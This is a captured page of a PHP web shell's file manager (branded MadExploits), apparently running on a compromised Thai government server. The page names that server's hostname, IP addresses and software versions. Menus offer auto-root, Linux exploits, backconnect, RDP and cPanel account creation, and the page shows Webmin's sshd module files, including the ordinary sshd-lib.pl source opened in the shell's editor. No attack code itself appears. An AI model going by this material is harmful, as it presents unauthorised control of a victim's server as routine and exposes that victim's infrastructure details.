Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
sshd /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.04
KB
-rw-r--r--
apply.cgi
233
B
-rwxr-xr-x
backup_config.pl
892
B
-rwxr-xr-x
cgi_args.pl
264
B
-rwxr-xr-x
config
202
B
-rw-r--r--
config-Ubuntu-Linux-10.10-ALL
256
B
-rw-r--r--
config-coherent-linux
276
B
-rw-r--r--
config-debian-linux-2.2-ALL
264
B
-rw-r--r--
config-macos
194
B
-rw-r--r--
config-macos-8.1-ALL
183
B
-rw-r--r--
config-mandrake-linux-7.1-ALL
258
B
-rw-r--r--
config-open-linux-3.1
276
B
-rw-r--r--
config-openmamba-linux
276
B
-rw-r--r--
config-pardus-linux
235
B
-rw-r--r--
config-redhat-linux-24.0-ALL
278
B
-rw-r--r--
config-redhat-linux-7.0-23.0
258
B
-rw-r--r--
config-slackware-linux-8.0-ALL
268
B
-rw-r--r--
config-sol-linux
274
B
-rw-r--r--
config-solaris-10-ALL
344
B
-rw-r--r--
config-solaris-9
205
B
-rw-r--r--
config-suse-linux-7.1-8.0
266
B
-rw-r--r--
config-suse-linux-8.2-ALL
271
B
-rw-r--r--
config-syno-linux
342
B
-rw-r--r--
config-trustix-linux
303
B
-rw-r--r--
config-turbo-linux-7.0
276
B
-rw-r--r--
config-united-linux
266
B
-rw-r--r--
config-windows
267
B
-rw-r--r--
config.info
479
B
-rw-r--r--
config.info.bg
579
B
-rw-r--r--
config.info.bg.UTF-8
909
B
-rw-r--r--
config.info.ca
564
B
-rw-r--r--
config.info.ca.UTF-8
577
B
-rw-r--r--
config.info.cz
516
B
-rw-r--r--
config.info.cz.UTF-8
555
B
-rw-r--r--
config.info.de
598
B
-rw-r--r--
config.info.de.UTF-8
598
B
-rw-r--r--
config.info.es
369
B
-rw-r--r--
config.info.es.UTF-8
372
B
-rw-r--r--
config.info.eu
597
B
-rw-r--r--
config.info.eu.UTF-8
597
B
-rw-r--r--
config.info.fa
576
B
-rw-r--r--
config.info.fr
667
B
-rw-r--r--
config.info.fr.UTF-8
667
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.it
576
B
-rw-r--r--
config.info.it.UTF-8
576
B
-rw-r--r--
config.info.ja_JP.UTF-8
558
B
-rw-r--r--
config.info.ja_JP.euc
436
B
-rw-r--r--
config.info.ko_KR.UTF-8
498
B
-rw-r--r--
config.info.ko_KR.euc
408
B
-rw-r--r--
config.info.nl
598
B
-rw-r--r--
config.info.nl.UTF-8
598
B
-rw-r--r--
config.info.no
515
B
-rw-r--r--
config.info.no.UTF-8
515
B
-rw-r--r--
config.info.pl
577
B
-rw-r--r--
config.info.pl.UTF-8
595
B
-rw-r--r--
config.info.ru.UTF-8
488
B
-rw-r--r--
config.info.ru_RU
323
B
-rw-r--r--
config.info.ru_RU.UTF-8
488
B
-rw-r--r--
config.info.ru_SU
323
B
-rw-r--r--
config.info.sk
473
B
-rw-r--r--
config.info.sk.UTF-8
498
B
-rw-r--r--
config.info.uk_UA
340
B
-rw-r--r--
config.info.uk_UA.UTF-8
504
B
-rw-r--r--
edit_access.cgi
2.25
KB
-rwxr-xr-x
edit_host.cgi
5.81
KB
-rwxr-xr-x
edit_keys.cgi
1.38
KB
-rwxr-xr-x
edit_manual.cgi
879
B
-rwxr-xr-x
edit_misc.cgi
3.32
KB
-rwxr-xr-x
edit_net.cgi
3.84
KB
-rwxr-xr-x
edit_sync.cgi
934
B
-rwxr-xr-x
edit_users.cgi
6.06
KB
-rwxr-xr-x
index.cgi
2.61
KB
-rwxr-xr-x
install_check.pl
370
B
-rwxr-xr-x
list_hosts.cgi
707
B
-rwxr-xr-x
log_parser.pl
612
B
-rwxr-xr-x
module.info
127
B
-rw-r--r--
module.info.bg
19
B
-rw-r--r--
module.info.bg.UTF-8
31
B
-rw-r--r--
module.info.ca
91
B
-rw-r--r--
module.info.ca.UTF-8
103
B
-rw-r--r--
module.info.cz
19
B
-rw-r--r--
module.info.cz.UTF-8
25
B
-rw-r--r--
module.info.de
93
B
-rw-r--r--
module.info.de.UTF-8
105
B
-rw-r--r--
module.info.es
21
B
-rw-r--r--
module.info.es.UTF-8
27
B
-rw-r--r--
module.info.eu
24
B
-rw-r--r--
module.info.eu.UTF-8
30
B
-rw-r--r--
module.info.fr
20
B
-rw-r--r--
module.info.fr.UTF-8
26
B
-rw-r--r--
module.info.hu
30
B
-rw-r--r--
module.info.hu.UTF-8
36
B
-rw-r--r--
module.info.it
19
B
-rw-r--r--
module.info.it.UTF-8
25
B
-rw-r--r--
module.info.ja_JP.UTF-8
31
B
-rw-r--r--
module.info.ja_JP.euc
26
B
-rw-r--r--
module.info.ko_KR.UTF-8
28
B
-rw-r--r--
module.info.ko_KR.euc
24
B
-rw-r--r--
module.info.ms_MY
100
B
-rw-r--r--
module.info.ms_MY.UTF-8
112
B
-rw-r--r--
module.info.nl
19
B
-rw-r--r--
module.info.nl.UTF-8
25
B
-rw-r--r--
module.info.no
19
B
-rw-r--r--
module.info.no.UTF-8
25
B
-rw-r--r--
module.info.pl
21
B
-rw-r--r--
module.info.pl.UTF-8
27
B
-rw-r--r--
module.info.ru.UTF-8
31
B
-rw-r--r--
module.info.ru_RU
22
B
-rw-r--r--
module.info.ru_RU.UTF-8
34
B
-rw-r--r--
module.info.ru_SU
22
B
-rw-r--r--
module.info.sk
19
B
-rw-r--r--
module.info.sk.UTF-8
25
B
-rw-r--r--
save_access.cgi
1.87
KB
-rwxr-xr-x
save_host.cgi
4.69
KB
-rwxr-xr-x
save_manual.cgi
542
B
-rwxr-xr-x
save_misc.cgi
2.5
KB
-rwxr-xr-x
save_net.cgi
2.9
KB
-rwxr-xr-x
save_sync.cgi
493
B
-rwxr-xr-x
save_users.cgi
3.78
KB
-rwxr-xr-x
sshd-lib.pl
8.5
KB
-rwxr-xr-x
start.cgi
209
B
-rwxr-xr-x
stop.cgi
193
B
-rwxr-xr-x
useradmin_update.pl
1.32
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sshd-lib.pl
#!/usr/bin/perl # sshd-lib.pl # Common functions for the ssh daemon config file BEGIN { push(@INC, ".."); }; use WebminCore; &init_config(); # Get version information if (!&read_file("$module_config_directory/version", \%version)) { %version = &get_sshd_version(); } # get_sshd_version() # Returns a hash containing the version type, number and full version sub get_sshd_version { local %version; local $out = &backquote_command( "e_path($config{'sshd_path'})." -h 2>&1 </dev/null"); if ($config{'sshd_version'}) { # Forced version $version{'type'} = 'openssh'; $version{'number'} = $version{'full'} = $config{'sshd_version'}; } elsif ($out =~ /(sshd\s+version\s+([0-9\.]+))/i || $out =~ /(ssh\s+secure\s+shell\s+([0-9\.]+))/i) { # Classic commercial SSH $version{'type'} = 'ssh'; $version{'number'} = $2; $version{'full'} = $1; } elsif ($out =~ /(OpenSSH.([0-9\.]+))/i) { # OpenSSH .. assume all versions are supported $version{'type'} = 'openssh'; $version{'number'} = $2; $version{'full'} = $1; } elsif ($out =~ /(Sun_SSH_([0-9\.]+))/i) { # Solaris 9 SSH is actually OpenSSH 2.x $version{'type'} = 'openssh'; $version{'number'} = 2.0; $version{'full'} = $1; } elsif (($out = $config{'sshd_version'}) && ($out =~ /(Sun_SSH_([0-9\.]+))/i)) { # Probably Solaris 10 SSHD that didn't display version. Use it. $version{'type'} = 'openssh'; $version{'number'} = 2.0; $version{'full'} = $1; } return %version; } # get_sshd_config() # Returns a reference to an array of SSHD config file options sub get_sshd_config { local @rv = ( { 'dummy' => 1, 'indent' => 0, 'file' => $config{'sshd_config'}, 'line' => -1, 'eline' => -1 } ); local $lnum = 0; open(CONF, $config{'sshd_config'}); while(<CONF>) { s/\r|\n//g; s/^\s*#.*$//g; local ($name, @values) = split(/\s+/, $_); if ($name) { local $dir = { 'name' => $name, 'values' => \@values, 'file' => $config{'sshd_config'}, 'line' => $lnum }; push(@rv, $dir); } $lnum++; } close(CONF); return \@rv; } # find_value(name, &config) sub find_value { foreach $c (@{$_[1]}) { if (lc($c->{'name'}) eq lc($_[0])) { return wantarray ? @{$c->{'values'}} : $c->{'values'}->[0]; } } return wantarray ? ( ) : undef; } # find(value, &config) sub find { local @rv; foreach $c (@{$_[1]}) { if (lc($c->{'name'}) eq lc($_[0])) { push(@rv, $c); } } return wantarray ? @rv : $rv[0]; } # save_directive(name, &config, [value*|&values], [before]) sub save_directive { local @o = &find($_[0], $_[1]); local @n = ref($_[2]) ? grep { defined($_) } @{$_[2]} : grep { defined($_) } @_[2..@_-1]; local $lref = &read_file_lines($_[1]->[0]->{'file'}); local $id = ("\t" x $_[1]->[0]->{'indent'}); local $i; local $before = $_[3] && ref($_[2]) ? &find($_[3], $_[1]) : undef; for($i=0; $i<@o || $i<@n; $i++) { if ($o[$i] && $n[$i]) { # Replacing a line $lref->[$o[$i]->{'line'}] = "$id$_[0] $n[$i]"; } elsif ($o[$i]) { # Removing a line splice(@$lref, $o[$i]->{'line'}, 1); foreach $c (@{$_[1]}) { if ($c->{'line'} > $o[$i]->{'line'}) { $c->{'line'}--; } } } elsif ($n[$i] && !$before) { # Adding a line at the end, but before the first Match directive local $ll = $_[1]->[@{$_[1]}-1]->{'line'}; foreach my $m (&find("Match", $_[1])) { $ll = $m->{'line'} - 1; last; } splice(@$lref, $ll+1, 0, "$id$_[0] $n[$i]"); } elsif ($n[$i] && $before) { # Adding a line before the first instance of some directive splice(@$lref, $before->{'line'}, 0, "$id$_[0] $n[$i]"); foreach $c (@{$_[1]}) { if ($c->{'line'} >= $before->{'line'}) { $c->{'line'}--; } } } } } # scmd(double) sub scmd { if ($cmd_count % 2 == 0) { print "<tr>\n"; } elsif ($_[0]) { print "<td colspan=2></td> </tr>\n"; print "<tr>\n"; $cmd_count = 0; } $cmd_count += ($_[0] ? 2 : 1); } # ecmd() sub ecmd { if ($cmd_count % 2 == 0) { print "</tr>\n"; } } # get_client_config() # Returns a list of structures, one for each host sub get_client_config { local @rv = ( { 'dummy' => 1, 'indent' => 0, 'file' => $config{'client_config'}, 'line' => -1, 'eline' => -1 } ); local $host; local $lnum = 0; open(CLIENT, $config{'client_config'}); while(<CLIENT>) { s/\r|\n//g; s/^\s*#.*$//g; s/^\s*//g; local ($name, @values) = split(/\s+/, $_); if (lc($name) eq 'host') { # Start of new host $host = { 'name' => $name, 'values' => \@values, 'file' => $config{'client_config'}, 'line' => $lnum, 'eline' => $lnum, 'members' => [ { 'dummy' => 1, 'indent' => 1, 'file' => $config{'client_config'}, 'line' => $lnum } ] }; push(@rv, $host); } elsif ($name) { # A directive inside a host local $dir = { 'name' => $name, 'values' => \@values, 'file' => $config{'client_config'}, 'line' => $lnum }; push(@{$host->{'members'}}, $dir); $host->{'eline'} = $lnum; } $lnum++; } close(CLIENT); return \@rv; } # create_host(&host) sub create_host { local $lref = &read_file_lines($config{'client_config'}); $_[0]->{'line'} = $_[0]->{'eline'} = scalar(@$lref); push(@$lref, "Host ".join(" ", @{$_[0]->{'values'}})); $_[0]->{'members'} = [ { 'dummy' => 1, 'indent' => 1, 'file' => $config{'client_config'}, 'line' => $_[0]->{'line'} } ]; } # modify_host(&host) sub modify_host { local $lref = &read_file_lines($config{'client_config'}); $lref->[$_[0]->{'line'}] = "Host ".join(" ", @{$_[0]->{'values'}}); } # delete_host(&host) sub delete_host { local $lref = &read_file_lines($config{'client_config'}); splice(@$lref, $_[0]->{'line'}, $_[0]->{'eline'} - $_[0]->{'line'} + 1); } # restart_sshd() # Re-starts the SSH server, and returns an error message on failure or # undef on success sub restart_sshd { if ($config{'restart_cmd'}) { local $out = `$config{'restart_cmd'} 2>&1 </dev/null`; return "<pre>$out</pre>" if ($?); } else { local $pid = &get_sshd_pid(); $pid || return $text{'apply_epid'}; &kill_logged('HUP', $pid); } return undef; } # stop_sshd() # Kills the SSH server, and returns an error message on failure or # undef on success sub stop_sshd { if ($config{'stop_cmd'}) { local $out = `$config{'stop_cmd'} 2>&1 </dev/null`; return "<pre>$out</pre>" if ($?); } else { local $pid = &get_sshd_pid(); $pid || return $text{'apply_epid'}; &kill_logged('TERM', $pid); } return undef; } # start_sshd() # Attempts to start the SSH server, returning undef on success or an error # message on failure. sub start_sshd { # Remove PID file if invalid if (-f $config{'pid_file'} && !&check_pid_file($config{'pid_file'})) { &unlink_file($config{'pid_file'}); } if ($config{'start_cmd'}) { $out = &backquote_logged("$config{'start_cmd'} 2>&1 </dev/null"); if ($?) { return "<pre>$out</pre>"; } } else { $out = &backquote_logged("$config{'sshd_path'} 2>&1 </dev/null"); if ($?) { return "<pre>$out</pre>"; } } return undef; } # get_pid_file() # Returns the SSH server PID file sub get_pid_file { local $conf = &get_sshd_config(); local $pidfile = &find_value("PidFile", $conf); $pidfile ||= $config{'pid_file'}; return $pidfile; } # get_sshd_pid() # Returns the PID of the running SSHd process sub get_sshd_pid { local $file = &get_pid_file(); if ($file) { return &check_pid_file($file); } else { local ($rv) = &find_byname("sshd"); return $rv; } } # get_mlvalues(file, id, [splitchar]) # Return an array with values from a file, where the # values are one per line with an id preceding them sub get_mlvalues { local @rv; local $_; local $split = defined($_[2]) ? $_[2] : " "; local $realfile = &translate_filename($_[0]); &open_readfile(ARFILE, $_[0]) || return 0; while(<ARFILE>) { chomp; local $hash = index($_, "#"); local $eq = index($_, $split); if ($hash != 0 && $eq >= 0) { local $n = substr($_, 0, $eq); local $v = substr($_, $eq+1); chomp($v); if ($n eq $_[1]) { push(@rv, $v); } } } close(ARFILE); return @rv; } # list_syslog_facilities() # Returns an upper-case list of syslog facility names sub list_syslog_facilities { local @facils; if (&foreign_check("syslog")) { local %sconfig = &foreign_config("syslog"); @facils = map { uc($_) } split(/\s+/, $sconfig{'facilities'}); } if (!@facils) { @facils = ( 'DAEMON', 'USER', 'AUTH', 'AUTHPRIV', 'LOCAL0', 'LOCAL1', 'LOCAL2', 'LOCAL3', 'LOCAL4', 'LOCAL5', 'LOCAL6', 'LOCAL7' ); } return @facils; } sub list_logging_levels { return ('QUIET', 'FATAL', 'ERROR', 'INFO', 'VERBOSE', 'DEBUG'); } sub yes_no_default_radio { local ($name, $value) = @_; return &ui_radio($name, lc($value) eq 'yes' ? 1 : lc($value) eq 'no' ? 0 : 2, [ [ 1, $text{'yes'} ], [ 0, $text{'no'} ], [ 2, $text{'default'} ] ]); } 1;
Close